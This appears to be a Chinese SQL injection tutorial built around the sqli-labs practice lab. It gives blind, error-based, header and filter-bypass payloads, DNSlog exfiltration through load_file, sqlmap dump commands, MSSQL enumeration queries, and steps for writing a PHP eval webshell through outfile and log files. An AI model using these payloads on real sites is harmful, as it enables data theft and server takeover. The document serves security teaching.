【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段名的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段名(若页面正常显示则判断正确)
猜解第一个字段名
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段名【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解列中字段内容的长度(若页面正常显示则判断正确)
猜解第一个字段内容的长度
and (select length(字段名) from 表名 limit 0,1) > n --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and (select length(字段名) from 表名 limit a-1,1) > n --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解列中字段内容(若页面正常显示则判断正确)
猜解第一个字段内容
and (select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and (select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【POST】 时间盲注
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
id=1 and 1=1
为真
id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解数据库名长度(若页面刷新指定秒则判断正确)
and if(length(database())=n,sleep(2),0) --+
【n为字符数】【可枚举出 n】
and if(length(database())>n,sleep(2),0) --+
【n为字符数】【二分法】【下面步骤用此法】
3. 猜解数据库名(若页面刷新指定秒则判断正确)
and if(ascii(substr(database(),1,1))>n,sleep(2),0) --+
and if(ascii(substr(database(),2,1))>n,sleep(2),0) --+
【n为 ASCII 码,基本字符就前 128 个】
and if(ascii(substr(database(),...,1))>n,sleep(2),0) --+
对照 ASCII 码表即可将数据库名拼出 ASCII码对照表
【若不想猜 ASCII 码,可以去掉 ascii() , n 为字符,记得加 引号】
【示例】
and if(substr(database(),1,1)='s',sleep(2),0) --+
4. 猜解数据库中表的数量(若页面刷新指定秒则判断正确)
and if((select count(table_name) from information_schema.tables where table_schema = database())>n,sleep(2),0) --+
【n 为数量】
5. 猜解表名长度(若页面刷新指定秒则判断正确)
and if((select length(table_name) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
6. 猜解表名(若页面刷新指定秒则判断正确)
猜解第一个表名and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个表名【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
7. 猜解表中的字段数(若页面刷新指定秒则判断正确)
and if((select count(column_name) from information_schema.columns where table_name = '表名' ) > n,sleep(2),0) --+
【n 为数量】【表名按照上面步骤猜解出来的】
8. 猜解字段长度(若页面刷新指定秒则判断正确
猜解第一个字段长度
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(column_name) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
9. 猜解字段(若页面刷新指定秒则判断正确)
猜解第一个字段
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_name = '表名' limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
10. 猜解字段内容的长度(若页面刷新指定秒则判断正确)
猜解第一个字段内容的长度
and if((select length(字段名) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit 0,1】
猜解第 a 个字段内容的长度【下面的 a-1 就是当前为第 a 个表 -1】
and if((select length(字段名) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为长度】【必须要有 limit a-1,1】
11. 猜解字段内容(若页面刷新指定秒则判断正确)
猜解第一个字段内容
and if((select ascii(substr(字段名,1,1)) from 表名 limit 0,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit 0,1】
猜解第 a 个字段内容【下面的 a-1 就是当前为第 a 个表 -1】
and if((select ascii(substr(字段名,1,1)) from 表名 limit a-1,1) > n,sleep(2),0) --+
【n 为 ASCII 码】【必须要有 limit a-1,1】
【POST】 DNSlog 注入
需要了解 DNSlog 和 UNC 的知识,可以参考 DNSlog注入学习
所用命令
select load_file("");
由于是读文件,需要相对应的读写权限
👇👇👇
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
![]()
前置知识
UNC 路径
\\servername\sharename
servername 表示 ip 或者域名
sharename 表示共享资源的名称 【相当于文件夹或文件,在这没那重要,名称可以不存在,但是要写】
【注意】
\\ 容易被当成转义符,建议使用 //
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
id=1
字符型【示例】:id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
**id=1 and sleep(2)
** 【延时判断】上面这句话若闭合,则页面两秒后响应
若秒响应,则未闭合
【以数字型为例,字符型同理】
id=1 and 1=1
为真 【布尔判断】
id=1 and 1=2
为假上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 找一个 DNSlog 平台
找一些在线的,此教程以 CEYE 平台为例3. 获取数据库名
and (select load_file(concat('//',(select database()),'.你的Identifier/1.txt'))) --+
所以我们只需要改
select database()
和你的Identifier
即可
select database()
填 sql 注入语句4. 获取表名
只能一条一条的读,改 limit 后面的值即可
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 1,1),'.你的Identifier/1.txt'))) --+
5. 获取字段名
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='表名' limit 1,1),'.你的Identifier/1.txt'))) --+
6. 获取字段内容
and (select load_file(concat('//',(select 字段名 from 表名 limit 0,1),'.你的Identifier/1.txt'))) --+
and (select load_file(concat('//',(select 字段名 from 表名 limit 1,1),'.你的Identifier/1.txt'))) --+
至于如何获得Identifier
首先,注册一个 ceye 的账号并登录进去
异或注入
若两个值不同,则异或结果为 1
若两个值相同,则异或结果为 0
若 1^0^0=1 可以理解的话就不用看了
根据从左到右算,不同为 1,相同则为 0 的法则
则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 1^0^0=1
若闭合符前的字符不为数字怎么算
字符若不含数字,则为 0
字符中若含有数字字母,则直接取数字
【例】
?id=1'^0^0 --+
相当于 and 1=1
其实不一定是 1^0^0,只要异或最后的结果是 1 就行了【1^1^1 也行】
如何写入注入语句呢
可以这么写
?id=1'^1^(select length(database())=7) --+
然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注】
半自动/自动化注入
利用 Burp Suite 进行半自动化注入
【以布尔盲注为例】
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 半自动化爆破数据库名长度
先截包再发送给 Intruder 模块
添加 payload 位置
添加字典,开始爆破
找正确答案即可
3、半自动化爆破数据库名
bp抓包发送 Intruder 模块,并添加 payload
添加字典,开始爆破
找出正确答案
往后的步骤同理
利用 sqlmap 实现自动化注入
基本步骤
1. 前提条件
请确保你的计算机已经安装 python 并成功配置环境变量2. 下载并解压 sqlmap
3. 运行 sqlmap
打开 sqlmap 根目录,单击上面的地址栏,输入 cmd,打开命令行窗口,输入
python sqlmap.py -h
若出现这个界面则表示运行成功
4. 使用 sqlmap 进行自动化注入
【GET 提交方法】
最简单的方法,输入下面命令然后一路回车即可
python sqlmap.py -u 网址 -dump
【示例】
python sqlmap.py -u http://sqli-labs/Less-9/?id=1 -dump
注意:输入的网址最好是带参数
【POST 提交方法】
最简单的方法,输入下面命令然后一路回车即可
python sqlmap.py -u 网址 --forms -dump
【示例】
python sqlmap.py -u http://sqli-labs/Less-15/ --forms -dump
HTTP 头注入
uagent 注入
uagent,即 User-Agent,中文名为用户代理,简称UA
它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。
优先使用 union 查询,但通常与报错注入结合注入【什么报错注入都行,此以 updatexml 为例】
union 联合注入 > 报错注入 > 布尔盲注 > 时间盲注
可以用 hackbar 改或者 burp 抓包改【主要目标为 User-Agent 】
基本步骤
1. 判断闭合符方法【用 \ 号】
User-Agent: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型【例】Less-18
若遇到 '127.0.0.1','admin')' 这种的,实际上就是把输入的内容跟后面两个内容拼接起来,直接把当 2 ,3 替换上去就行了
上面都是引号,符号该闭合的闭合,即
User-Agent: 1',2,3)#
然后开始注入,注入语句放 1' 后面也好,或者 2,3 后面都行
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
User-Agent: 1' and 1=1,2,3)#
为真
User-Agent: 1' and 1=2,2,3)#
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
referer 注入
Referer,即HTTP Referer,,是头部信息neader的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
常见用法:
防盗链:比如只允许自己的网站访问自己的图片服务器,自己的域名是 www.google..com,那么服务器每次提取到 Referer 来判断是不是自己的域名 www.google.com,如果是就继续访问,如果不是就拦截。
防止恶意请求:比如静态请求是 *.html 结尾的,动态请求是 * .shtml,.那么由此可以这么用,所有的 *.shtml 请求,必须 Referer 为我自己的网站。
空referer:首先,我们对空Referer定义为,Referer头部的内容为空,或者,一个HTTP请求中根本不包含Referer头部。
基本步骤
1. 判断闭合符方法【用 \ 号】
Referer: 1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型【例】Less-19
若遇到 '127.0.0.1')' 这种的,实际上就是把输入的内容跟后面的内容拼接起来,直接把当 2 替换上去就行了
上面都是引号,符号该闭合的闭合,即
Referer: 1',2)#
然后开始注入,注入语句放 1' 后面也好,或者 2 后面都行
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
Referer: 1' and 1=1,2)#
为真
Referer: 1' and 1=2,2)#
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 猜解表名
and updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
3. 猜解字段名
and updatexml(1,concat((select group_concat(column_name) from information_schema.columns where table_name=表名),0x7e),1) --+
4. 猜解字段内容
and updatexml(1,concat((select group_concat(字段1,...) from 表名),0x7e),1) --+
若出现内容显示不全,则可以使用 mid() 函数一点一点提取出来。或者其他的截取字符的函数都可以
函数格式:mid(string,start,length)
字符串 开始位置 截取的字符长度
示例:【基于 xpath 的报错一次最多输出 32 个字符】and updatexml(1,concat(0x7e,(select mid(group_concat(username,password),1,32) from users)),1) --+
cookie 注入
某些网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。
暂时记录用户个人信息,且可以保存在客户机上。
基本步骤
1. 判断闭合符方法【用 \ 号】
Cookie: uname=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
Cookie: uname=1 and 1=1
为真
Cookie: uname=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释
【例】Less-20
2. 爆字段数
order by 3#
3. 回显位
union select 1,2,3#
4. 爆数据库、表名
union select database(),2,group_concat(table_name) from information_schema.tables where table_schema=database()#
5、爆字段名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
6、爆字段内容
union select 1,2,group_concat(username,password) from users#
绕过过滤
绕过注释符号过滤
注释符号的作用:把后面不需要的语句注释掉,保证句子的完整性
常用注释符号
--+
#
%23【url 编码】
/**/
若为数字型注入,则不需考虑注释符号绕过
绕过手法
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
?id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型常见闭合符
''
""
('')
("")
那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合2. 绕过
先将语句闭合掉, 然后在后面补个
and '1'='1
后面不闭合,留着给原语句闭合,所以闭合符要判断正确?id=1' and '1'='1
则注入语句可以写到这里
?id=1' [这里] and '1'='1
【例】
先判断回显点为 2,3,由于 3 要控制闭合,那就选 2 作为回显位
?id=-1' union select 1,(select database()),3 and '1'='1
绕过关键字过滤
and:两边同时满足
or:任意一边满足即可
union
select
绕过手法
使用大小写绕过
将中间某个字母改为大写,如:Or、oR、OR、And、ANd、aNd、aND、AND 等
【例】
?id' anD 1=1 --+
双写绕过
将 and 或 or 塞进 and 或 or 里
【例】
?id=1' anandd 1=1 --+
符号替代绕过
用符号替代 and【&&】or【 ||】
【例】
?id=1' && 1=1 --+
编码绕过
将字母符号进行 hex、url 等编码
【例】& 的 url 编码为 %26
?id=1' %26%26 1=1 --+
添加注释绕过
用内联注释或多行注释绕过
?id=1' /*!and*/ 1=1 --+
异或截断绕过
若两个值不同,则异或结果为 1
若两个值相同,则异或结果为 0
若 1^0^0=1 可以理解的话就不用看了
根据从左到右算,不同为 1,相同则为 0 的法则
则前面的 1^0=1,然后将结果跟后面的 0 进行异或,则 1^0=1,所以 1^0^0=1
若闭合符前的字符不为数字怎么算
字符若不含数字,则为 0
字符中若含有数字字母,则直接取数字
【例】
?id=1'^0^0 --+
相当于 and 1=1
其实不一定是 1^0^0,只要异或最后的结果是 1 就行了【1^1^1 也行】
如何写入注入语句呢
可以这么写
?id=1'^1^(select length(database())=7) --+
然后直接替换括号里面的内容就行了,其实就是判断括号里面语句的结果是 0 还是 1 而已【结合布尔盲注】
报错绕过
多用括号以达到不使用空格的效果【与报错注入搭配】
【例】
?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
绕过空格过滤
绕过手法
符号代替绕过
常用 + 号代替空格
url编码绕过
常用代替空格的 url 编码
%20 spaces
%09 TAB
%0A LF【换行】
%0C FF【换页】
%0D CR
%0B VT
%A0 -OA-【仅 mysql】
报错绕过
多用括号以达到不使用空格的效果【与报错注入搭配】
【例】
?id=0'||extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
绕过逗号过滤
绕过手法
join 内联
-1 union select * from (select 1)a join (select 2)b join (select 3)c --+
只需要将语句替换掉数字
【例】
-1 union select * from (select 1)a join (select 2)b join (select database())c --+
绕过 = 号过滤
绕过手法
Between
在什么与什么之间
select database() between 0x61 and 0x7a;
in
mysql中in常用于where表达式中,其作用是查询某个范围内的数据
SELECT * FROM user WHERE uid IN (2,3,5)
Like
模糊查询,也可以当等于号用
?id = 1 or 1 like 1
等同于
?id = 1 or 1 = 1
使用正则代替等于号
SELECT ‘Hern’ REGEXP ‘[0-9]’;
Rlike === regexp
REGEXP 等同于 RLIKE
绕过 select 过滤
绕过手法
handler 函数
handler 表 open; # 进入表
handler 表 read; # 读表
handler 表 read first; # 显示表中第一个内容
handler 表 read next; # 显示表中下一个内容
绕过 database 过滤
绕过手法
查询一个不存在的表或函数
select * from fdsafsd;
会报这个表不存在,前面就带着库名
绕过 column 过滤
绕过手法
join 内联
select * from (select * from 表名 as a join 表名 as b) as c);
爆出一个字段名之后可以用刚爆出的字段名去爆其他字段名
select * from (select * from 表名 as a join 表名 as b using(刚爆出的字段名1,...)) as c);
as 是用来起别名的,可以省略【适合 as 被过滤时】
绕过 addslashes() 函数过滤
addslashes() 作用
addslashes() 函数在指定的预定义字符前添加反斜杠。这些字符是单引号(')、双引号(")、反斜线()与 NULL(NULL字符)。
转义,例如在单引号前加反斜线 \ ,则会转义没有功能性的单引号
当写入或查询用户名 1’ 时,数据库会识别单引号为闭合符号,要求再输入一个单引号将其闭合,只查询 1 而没办法查询 1‘
如果输入 1\',\ 会使 ' 失去闭合符的功能,变成普通字符 ',则数据库会识别为 1'
绕过手法
宽字节绕过
局限性
宽字节绕过需要数据库编码方式为 gbk 编码,否则无法使用
浅析
Mysq在使用GBK编码的时候,会认为两个字符为一个汉字,所以可以使用一些字符与经过 addslashes() 过后多出来的 \ 组合成两个字符,变成 mysql 数据库不识别的汉字字符,导致对单引号、双引号的转义失败,使其参数闭合。
【假设】输入 %df',经过 addslashes() 过后会在 ' 前面加个 / 也就是 %5c,即 %df%5c【符合 GBK 的取值范围】,会被解析成一个汉字,实际上出来的东西应该是 運’【 编码查询 】,而函数插入的 / 失效,后面的 ‘ 可以正常用来闭合
只能是 %df 吗?
不一定,只要符合 GBK 的取值范围的,即【首字节在 81-FE 之间,尾字节在 40-FE 之间】,在 %81-%FE 范围内的都行,尾字节为 %5C 固定不用管
【例】
?id=-1%81' union select 1,2,database() --+
然后其他按正常手法注入即可
MySQL
恶意利用
利用 MySQL 写入文件 getshell
首先查看 MySQL 是否有读写文件的权限
show variables like '%secure%';
若 secure_file_priv 的值为 NULL ,则没有读写权限
若 secure_file_priv 的值为一个具体路径 ,则只在该路径下有读写权限
若 secure_file_priv 的值为 ,则在任何路径下都有读写权限
如果是本地做实验要开启的话,可修改 my.ini 配置文件,添加
secure_file_priv=
保存之后重启 mysql 服务即可
所用命令
select ... into outfile ...
目标
上传一个一句话木马或者是你想上传的 php 文件
基本步骤
1. 判断注入类型
数字型 or 字符型
数字型【示例】:
?id=1
字符型【示例】:?id=1'
这也是在尝试闭合原来的 sql 语句,可以用包括 " ' ) 不限于这些字符尝试闭合,同时也可以根据它的语句报错来推断闭合符
还有一种判断闭合符方法【用 \ 号】
id=1\
根据语句报错返回的信息 \ 后面接着什么符号闭合符就是什么,没接符号的话就是数字型那么如何判断是否闭合了呢?
【以数字型为例,字符型同理】
?id=1 and 1=1
为真
?id=1 and 1=2
为假
上面这两句话一真一假,为真的语句页面会正常显示,为假的语句则不正常显示
若无论尝试上面为真的语句还是为假的语句返回的页面都是一样的,则未闭合看情况在后面用 --+ 注释掉后面的代码
如果已知为 MySQL 数据库,则可用 # 号注释2. 判断字段数
可以一个一个猜
union select 1
union select 1,2
union select 1,2,...
若页面回显正常,则判断正确
【例】
3. 文件上传
直接构造语句
union select 1,2,"<?php @eval($_POST[a]);?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\a.php"--+
路径要用双 \ 写
页面不正常显示,但实际上已经上传成功
4. 连接蚁剑
利用日志 getshell
general_log 日志
查看 general_log 功能是否开启
show variables like '%general%';
开启 general_log 功能
set global general_log = on;
修改 general_log_file 即日志文件生成的位置
set global general_log_file = 'xxxxxxxx/shell.php';
位置填绝对路径,所以要知道当前处在哪个路径
写入一句话木马
select '<?php phpinfo();@eval($_POST[a]);?>';
连接 webshell 即可
slow_query_log 日志
一般都是通过 long_query_time 选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为 10 秒),这个查询语句将被记录到慢查询日志中
查看当前服务器默认时间值
show variables like '%long_query%';
超时 10 秒则记录到日志中
查看 slow_query_log 功能是否开启
show variables like '%slow_query%';
开启 slow_query_log 功能
set global slow_query_log = on;
设置日志生成的位置
set global slow_query_log_file = 'C:/phpStudy/WWW/shell.php';
写入一句话木马并设置 11 秒延时
select '<?php phpinfo();@eval($_POST[a]);?>' or sleep(11);
生成的文件貌似要权限
Microsoft SQL Server
Sql Server,简称 Mssql
自 2017 版开始,可在 Windows、Linux、Mac 三端运行
基础知识
部分出自:https://xz.aliyun.com/t/10955
部分出自:https://www.freebuf.com/vuls/276814.html
部分出自:我
每次安装 SQL Server 实例时,实际上都会安装一组 Windows 服务并具有唯一的名称
SQL Server 账户类型
- Windows 账户
- SQL Server 登录名【SQL Server 内部】
- 数据库用户【SQL Server 内部】
Windows 帐户和 SQL Server 登录名用于登录 SQL Server。
除非系统管理员,否则必须将 SQL Server 登录名映射到数据库用户才能访问数据。
数据库用户是在数据库级别内单独创建的。
默认端口号为 1433
Mssql 权限说明
SA 权限:数据库操作,文件管理,命令执行,注册表读取。等价于 SYSTEM,为 SQL Server 数据库的最高权限
DB 权限: 文件管理,数据库操作。等价于 Users-administrators
Public 权限:数据库操作。等价于 Guest-users
搭建数据库时,选择 SQL Server 身份验证会创建 SA 账户并设置密码,SA(System Administrator)表示系统管理员
【在 2019 版之前,SA 用户都是系统最高权限用户 SYSTEM。从 2019 版开始变普通数据库用户 mssqlserver(低权用户)】
存储过程
分三类
系统存储过程:主要存储在 master 数据库中,以 sp_ 为前缀。在任何数据库中都可以调用,调用时不必在存储过程前加上数据库名
扩展存储过程:以 xp_ 为前缀。调用动态链接库
用户定义的存储过程:SQL Server 使用者编写的存储过程
系统数据库
创建时便默认存在,有以下 4 个
数据库名 | 含义 |
---|---|
master | 用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作 |
model | SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础 |
msdb | 由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息 |
tempdb | 为临时表和其他临时工作提供了一个存储区 |
master 类比于 mysql 的 information_schema 元数据库
基本语句
查询所有数据库名
select name from sysdatabases;
查询当前数据库表名
select name from sysobjects where xtype='U';
查询指定表中的字段名
select name from syscolumns where id=object_id('表名');
查询指定表中的字段内容
select 字段1,字段2,... from 表名;
查询数据库版本
select @@version;
查询当前数据库名
select db_name();
查询当前用户
select user;
查询数据库权限
select IS_SRVROLEMEMBER('sysadmin');
常用权限
sysadmin
serveradmin
setupadmin
securityadmin
diskadmin
bulkadmin
若有相应权限则返回 1
基本流程
1、判断是否为 Mssql 数据库(其实是判断表的数量的语句)
?id=1 and (select count(*) from sysobjects)>0--+
页面正常则说明是 Mssql 数据库
2、判断权限
?id=1 and 1=(select is_srvrolemember('sysadmin'))--+
页面正常则说明有 SA 权限,可以执行任何操作
3、查看当前数据库版本
?id=1 and 1=(select @@version) --+
1 是 int 类型, select @@version 是字符型,必定不相等,报错泄露出
字符型转换为 int 类型失败导致报错
或者直接接上 @@version 也会报错
4、查看当前用户
?id=1 and user>0--+
5、猜解数据库的数量
?id=1 and (select count(*) from sysdatabases)>N --+
N 为数字,代表多少个数据库
6、查看当前数据库名
?id=1 and (db_name())>0 --+
还是因为报错泄露
同理也可以直接接上 db_name()
查看所有数据库
法一:
?id=1 and (db_name(N))>0 --+
db_name(N) 中间的 N 用数字替代,代表第几个表
法二:
?id=1 and (select top 1 name from sysdatabases where name not in ('master'))>0--+
只需改 ('master') 里的内容,查出一个就在后面接上一个,即可报错出所有数据库名
如下一个为 tempdb 则
?id=1 and (select top 1 name from sysdatabases where name not in ('master','tempdb'))>0--+
由于 Mssql 没有 limit,只能用 top 1 来一个一个遍历数据
7、查看当前数据库的表
第一个表
?id=1 and (select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0)>0--+
where 后面的条件是为了排除干扰
查出来的是第一个表
查剩余其他表
?id=1 and (select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('第一个表'))>0--+
跟上面一样,查出来的表追加到 ('') 内,一点一点爆出所有数据表
8、查看表中字段
第一个字段
?id=1 and (select top 1 column_name from 数据库名.information_schema.columns where table_name='表名')>0--+
其他字段(排除法)
?id=1 and (select top 1 column_name from information_schema.columns where table_name='表名' and column_name not in ('字段'))>0--+
和上面的一样
9、查看字段内容
第一个字段
?id=1 and (select top 1 字段 from 表名)>0--+
其他字段
?id=1 and (select top 1 字段 from 表名 where 字段 not in ('内容'))>0--+
关键步骤 6、7、8、9
小技巧
查看所有数据库
?id=1 and 1=(select name,'、' from sysdatabases for xml path)
查看所有表名
?id=1 and 1=(select name,'、' from sysobjects where type='U' for xml path)
结果集用 xml 形式展现,用 、号隔开
以上基本是基于报错注入实现
SQL Server 的报错函数主要有 convert()、cast() ,都是强制转换函数,如果强制转换失败再与整型作比较就会报错,而报错的内容会带出 sql 查询的结果
select convert(int,(语句))
select cast((语句) AS int)
将语句强制转换成 int 类型,转换失败会报错带出查询结果
联合查询
判断闭合符,回显位【跟之前一样】
判断字段数【order by 跟之前一样】
查库
?id=-1 union select 1,db_name(),3--+
查所有库
?id=-1 union select 1,db_name(N),3--+
N 为数字,一个个查吧
查表
?id=-1 union select top 1 1,name,3 from sys.objects where type='U'--+
这是第一张表
其他表自行加上 and name not in (''),即
?id=-1 union select top 1 1,name,3 from sys.objects where type='U' and name not in ('表名')--+
查字段
?id=-1 union select top 1 1,column_name,3 from information_schema.columns where table_name='表名'--+
这是第一个字段
其他字段自行加上 and column_name not in (''),即
?id=-1 union select top 1 1,column_name,3 from information_schema.columns where table_name='表名' and column_name not in ('字段')--+
查内容
?id=-1 union select top 1 字段1,字段2,... from 表名--+
tips:
上面 union select 如果不行,尝试使用 union all select
如果注入时类型不一致,可用 null 然后一个个试回显点
布尔盲注
跟 Mysql 的一样,用 len() 判断长度,substring() 截取字符,ascii() 转成 ASCII 码
只不过查询语句不一样而已,上面已给出
时间盲注
Mssql 特有的延时函数 【0:0:0:0 从左到右依次是 时、分、秒、毫秒】
waitfor delay '0:0:0:0'
Mssql 的 if 语句也跟 Mysql 不同
